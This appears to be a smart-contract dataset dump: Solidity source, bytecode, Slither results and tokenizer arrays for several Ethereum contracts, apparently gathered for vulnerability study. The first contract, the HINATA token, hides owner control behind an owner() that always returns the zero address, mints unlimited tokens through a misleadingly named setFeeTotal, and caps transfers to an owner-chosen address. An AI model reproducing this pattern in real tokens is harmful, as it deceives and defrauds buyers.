divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HINATA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = '日向ヒナタコイン'; string private _symbol = 'HINATA'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setBlackListBot(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxTxBlack(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb146104f1578063b415564914610555578063dbde5a4314610573578063dd62ed3e146105b7578063f2fde38b1461062f57610121565b8063715018a6146103d45780638766504d146103de5780638da5cb5b1461040c57806395d89b4114610440578063a67c472d146104c357610121565b806323b872dd116100f457806323b872dd1461026f578063313ce567146102f35780633de1e2e3146103145780636d0a2e901461034857806370a082311461037c57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d5780631f9ac9011461022b575b600080fd5b61012e610673565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b610215610733565b6040518082815260200191505060405180910390f35b61026d6004803603602081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061073d565b005b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610849565b60405180821515815260200191505060405180910390f35b6102fb610922565b604051808260ff16815260200191505060405180910390f35b61031c610939565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035061095f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610985565b6040518082815260200191505060405180910390f35b6103dc6109ce565b005b61040a600480360360208110156103f457600080fd5b8101908080359060200190929190505050610b13565b005b610414610d96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610448610d9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048857808201518184015260208101905061046d565b50505050905090810190601f1680156104b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ef600480360360208110156104d957600080fd5b8101908080359060200190929190505050610e3d565b005b61053d6004803603604081101561050757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f19565b60405180821515815260200191505060405180910390f35b61055d610f37565b6040518082815260200191505060405180910390f35b6105b56004803603602081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3d565b005b610619600480360360408110156105cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611049565b6040518082815260200191505060405180910390f35b6106716004803603602081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d0565b005b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561070b5780601f106106e05761010080835404028352916020019161070b565b820191906000526020600020905b8154815290600101906020018083116106ee57829003601f168201915b5050505050905090565b60006107296107226112db565b84846112e3565b6001905092915050565b6000600554905090565b6107456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006108568484846114da565b610917846108626112db565b61091285604051806060016040528060288152602001611a9e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c86112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b6112e3565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d66112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610b1b6112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610bfb6112db565b73ffffffffffffffffffffffffffffffffffffffff161415610c68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119e86021913960400191505060405180910390fd5b610c7d8160055461195f90919063ffffffff16565b600581905550610cdc8160016000610c936112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b60016000610ce86112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2e6112db565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e335780601f10610e0857610100808354040283529160200191610e33565b820191906000526020600020905b815481529060010190602001808311610e1657829003601f168201915b5050505050905090565b610e456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260098190555050565b6000610f2d610f266112db565b84846114da565b6001905092915050565b60095481565b610f456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110d86112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611198576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a2e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b0f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611a546022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611a096025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aec6023913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116915750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116f15760095481106116f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611a766028913960400191505060405180910390fd5b5b61175d81604051806060016040528060268152602001611ac660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119115780820151818401526020810190506118f6565b50505050905090810190601f16801561193e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156119dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ce6585841b6fc822ac1eb2b52aad2474ceaefa3fd87b9e5bf04cbe0de7214ec364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 19797, 2278, 2546, 2549, 9468, 2620, 2487, 2497, 21057, 17914, 5243, 2509, 11057, 2581, 21486, 2546, 2549, 2094, 2581, 2278, 18613, 2575, 22394, 24096, 2581, 2546, 1013, 1008, 1008, 1011, 1864, 100, 1719, 30241, 30235, 30230, 30221, 30263, 1011, 1044, 10513, 3654, 7632, 19833, 2050, 9226, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,598
0x970d1Fa79c64b256ef68bBFEab34137786811C7F
/* Copyright 2019-2021 StarkWare Industries Ltd. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.starkware.co/open-source-license/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.11; import "SubContractor.sol"; import "ProxyGovernance.sol"; import "ProxyStorage.sol"; import "StorageSlots.sol"; contract ProxyUtils is SubContractor, StorageSlots, ProxyGovernance, ProxyStorage { event ImplementationActivationRescheduled( address indexed implementation, uint256 updatedActivationTime); function initialize(bytes calldata /* data */) external override { revert("NOT_IMPLEMENTED"); } function initializerSize() external override view returns (uint256) { return 0; } function identify() external override pure returns (string memory) { return "StarkWare_ProxyUtils_2021_1"; } function storedActivationDelay() internal view returns(uint256 delay) { bytes32 slot = UPGRADE_DELAY_SLOT; assembly { delay := sload(slot) } return delay; } function updateImplementationActivationTime( address implementation, bytes calldata data, bool finalize) external onlyGovernance { uint256 updatedActivationTime = block.timestamp + storedActivationDelay(); // We assume the Proxy is of the old format. bytes32 oldFormatInitHash = keccak256(abi.encode(data, finalize)); require( initializationHash_DEPRECATED[implementation] == oldFormatInitHash, "IMPLEMENTATION_NOT_PENDING"); // Converting address to bytes32 to match the mapping key type. bytes32 implementationKey; assembly {implementationKey := implementation} uint256 pendingActivationTime = enabledTime[implementationKey]; require(pendingActivationTime > 0, "IMPLEMENTATION_NOT_PENDING"); // Current value is checked to be within a reasonable delay. If it's over 6 months from now, // it's assumed that the activation time is configured under a different set of rules. require( pendingActivationTime < block.timestamp + 180 days, "INVALID_PENDING_ACTIVATION_TIME"); if (updatedActivationTime < pendingActivationTime) { enabledTime[implementationKey] = updatedActivationTime; emit ImplementationActivationRescheduled(implementation, updatedActivationTime); } } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806356f36dbf1161007157806356f36dbf146101e65780636684b1d6146102635780638757653f1461026b578063b449ea5d14610291578063eeb72866146102cb578063f9bcdde4146102d3576100a9565b806302a93fae146100ae57806312f16e6d1461013057806320cea94d146101565780633cc660ad14610170578063439fab9114610178575b600080fd5b61012e600480360360608110156100c457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156100ee57600080fd5b82018360208201111561010057600080fd5b803590602001918460018302840111600160201b8311171561012157600080fd5b91935091503515156102db565b005b61012e6004803603602081101561014657600080fd5b50356001600160a01b031661052a565b61015e610536565b60408051918252519081900360200190f35b61015e61055a565b61012e6004803603602081101561018e57600080fd5b810190602081018135600160201b8111156101a857600080fd5b8201836020820111156101ba57600080fd5b803590602001918460018302840111600160201b831117156101db57600080fd5b50909250905061055f565b6101ee61059e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610228578181015183820152602001610210565b50505050905090810190601f1680156102555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61012e6105ba565b61012e6004803603602081101561028157600080fd5b50356001600160a01b03166105c4565b6102b7600480360360208110156102a757600080fd5b50356001600160a01b03166105cd565b604080519115158252519081900360200190f35b6101ee6105de565b61012e610615565b6102e43361061d565b610327576040805162461bcd60e51b815260206004820152600f60248201526e4f4e4c595f474f5645524e414e434560881b604482015290519081900360640190fd5b600061033161064c565b4201905060008484846040516020018080602001831515151581526020018281038252858582818152602001925080828437600081840152601f19601f8201169050808301925050509450505050506040516020818303038152906040528051906020012090508060016000886001600160a01b03166001600160a01b03168152602001908152602001600020541461040e576040805162461bcd60e51b815260206004820152601a602482015279494d504c454d454e544154494f4e5f4e4f545f50454e44494e4760301b604482015290519081900360640190fd5b60008681526002602052604090205486908061046e576040805162461bcd60e51b815260206004820152601a602482015279494d504c454d454e544154494f4e5f4e4f545f50454e44494e4760301b604482015290519081900360640190fd5b4262ed4e000181106104c7576040805162461bcd60e51b815260206004820152601f60248201527f494e56414c49445f50454e44494e475f41435449564154494f4e5f54494d4500604482015290519081900360640190fd5b8084101561052057600082815260026020908152604091829020869055815186815291516001600160a01b038b16927fdda7b7d1f8141bd98b4378ee60e6231f89598ca02949a9d0550904dc96efeeb792908290030190a25b5050505050505050565b61053381610671565b50565b7fc21dbb3089fcb2c4f4c6a67854ab4db2b0f233ea4b21b21f912d52d18fc5db1f81565b600090565b6040805162461bcd60e51b815260206004820152600f60248201526e1393d517d253541311535153951151608a1b604482015290519081900360640190fd5b604051806060016040528060278152602001610b856027913981565b6105c26107be565b565b61053381610885565b60006105d88261061d565b92915050565b60408051808201909152601b81527f537461726b576172655f50726f78795574696c735f323032315f310000000000602082015290565b6105c2610982565b600080610628610a19565b6001600160a01b039390931660009081526020939093525050604090205460ff1690565b7fc21dbb3089fcb2c4f4c6a67854ab4db2b0f233ea4b21b21f912d52d18fc5db1f5490565b61067a3361061d565b6106bd576040805162461bcd60e51b815260206004820152600f60248201526e4f4e4c595f474f5645524e414e434560881b604482015290519081900360640190fd5b336001600160a01b0382161415610712576040805162461bcd60e51b8152602060048201526014602482015273474f5645524e4f525f53454c465f52454d4f564560601b604482015290519081900360640190fd5b600061071c610a19565b90506107278261061d565b610767576040805162461bcd60e51b815260206004820152600c60248201526b2727aa2fa3a7ab22a92727a960a11b604482015290519081900360640190fd5b6001600160a01b03821660008181526020838152604091829020805460ff19169055815192835290517fd75f94825e770b8b512be8e74759e252ad00e102e38f50cce2f7c6f868a295999281900390910190a15050565b60006107c8610a19565b60018101549091506001600160a01b03163314610826576040805162461bcd60e51b815260206004820152601760248201527627a7262cafa1a0a72224a220aa22afa3a7ab22a92727a960491b604482015290519081900360640190fd5b600181015461083d906001600160a01b0316610ae4565b6001810180546001600160a01b03191690556040805133815290517fcfb473e6c03f9a29ddaf990e736fa3de5188a0bd85d684f5b6e164ebfbfff5d29181900360200190a150565b61088e3361061d565b6108d1576040805162461bcd60e51b815260206004820152600f60248201526e4f4e4c595f474f5645524e414e434560881b604482015290519081900360640190fd5b60006108db610a19565b90506108e68261061d565b1561092b576040805162461bcd60e51b815260206004820152601060248201526f20a62922a0a22cafa3a7ab22a92727a960811b604482015290519081900360640190fd5b6001810180546001600160a01b0384166001600160a01b0319909116811790915560408051918252517f6166272c8d3f5f579082f2827532732f97195007983bb5b83ac12c56700b01a69181900360200190a15050565b61098b3361061d565b6109ce576040805162461bcd60e51b815260206004820152600f60248201526e4f4e4c595f474f5645524e414e434560881b604482015290519081900360640190fd5b60006109d8610a19565b6001810180546001600160a01b03191690556040519091507f7a8dc7dd7fffb43c4807438fa62729225156941e641fd877938f4edade3429f590600090a150565b60006060610a25610b64565b9050600080826040518082805190602001908083835b60208310610a5a5780518252601f199092019160209182019101610a3b565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092206001810154909350600160a01b900460ff169150610ade9050576040805162461bcd60e51b815260206004820152600f60248201526e1393d517d253925512505312569151608a1b604482015290519081900360640190fd5b91505090565b610aed8161061d565b15610b32576040805162461bcd60e51b815260206004820152601060248201526f20a62922a0a22cafa3a7ab22a92727a960811b604482015290519081900360640190fd5b6000610b3c610a19565b6001600160a01b0390921660009081526020929092525060409020805460ff19166001179055565b6060604051806060016040528060278152602001610b856027913990509056fe537461726b45782e50726f78792e323031392e476f7665726e6f7273496e666f726d6174696f6ea2646970667358221220ab88744d876ca5c82807ddf36740f02feb6176b7d0921ea0b9a6d82adb7868bd64736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 19841, 2094, 2487, 7011, 2581, 2683, 2278, 21084, 2497, 17788, 2575, 12879, 2575, 2620, 10322, 7959, 7875, 22022, 17134, 2581, 2581, 20842, 2620, 14526, 2278, 2581, 2546, 1013, 1008, 9385, 10476, 1011, 25682, 9762, 8059, 6088, 5183, 1012, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1012, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1999, 12646, 2007, 1996, 6105, 1012, 2017, 2089, 6855, 1037, 6100, 1997, 1996, 6105, 2012, 16770, 1024, 1013, 1013, 7479, 1012, 9762, 8059, 1012, 2522, 1013, 2330, 1011, 3120, 1011, 6105, 1013, 4983, 3223, 2011, 12711, 2375, 2030, 3530, 2000, 1999, 3015, 1010, 4007, 5500, 2104, 1996, 6105, 2003, 5500, 2006, 2019, 1000, 2004, 2003, 1000, 3978, 1010, 2302, 10943, 3111, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,599
0x970d423f0213f59e6d0117bc6f16a10502bb0a99
// SPDX-License-Identifier: MIT pragma solidity >=0.7.4; contract SmartOne { using SafeMath for uint256; address payable private owner; // Smart Contract Owner (Who deploys) address payable private adminAddress; // Project manager uint256 public PAYMENT_FACTOR = 1000; uint256 private constant DIVIDER = 1000; uint256 private constant SIGN_UP_AMOUNT = 0.016 ether; uint256 private constant ACTIVATE_AMOUNT = 0.016 ether; uint256 private constant USERS_PER_POOL = 4; uint256 private constant POOL_NUMBER = 5; address[4][] public pool = [ [address(0), address(0), address(0), address(0)], [address(0), address(0), address(0), address(0)], [address(0), address(0), address(0), address(0)], [address(0), address(0), address(0), address(0)], [address(0), address(0), address(0), address(0)] ]; uint256[] userPayments = [0.016 ether, 0.032 ether, 0.064 ether, 0.16 ether, 0.32 ether]; uint256[] adminPayments = [0.016 ether, 0.032 ether, 0.064 ether, 0.16 ether, 0.32 ether]; struct User { bool signedUp; bool active; } mapping(address => User) internal users; event SignUp(address indexed user, uint256 amount); event ActivePool(address indexed user, uint256 amount); event UpgradeUser(address indexed user, uint256 amount, uint256 pool); constructor() { owner = payable(msg.sender); } modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } function isUserSignedUp(address user) internal view returns (bool) { return (users[user].signedUp == true); } function isUserActive(address user) internal view returns (bool) { return (users[user].active == true); } // Main functions function joinMe() external payable { require(!isContract(msg.sender) && msg.sender == tx.origin); 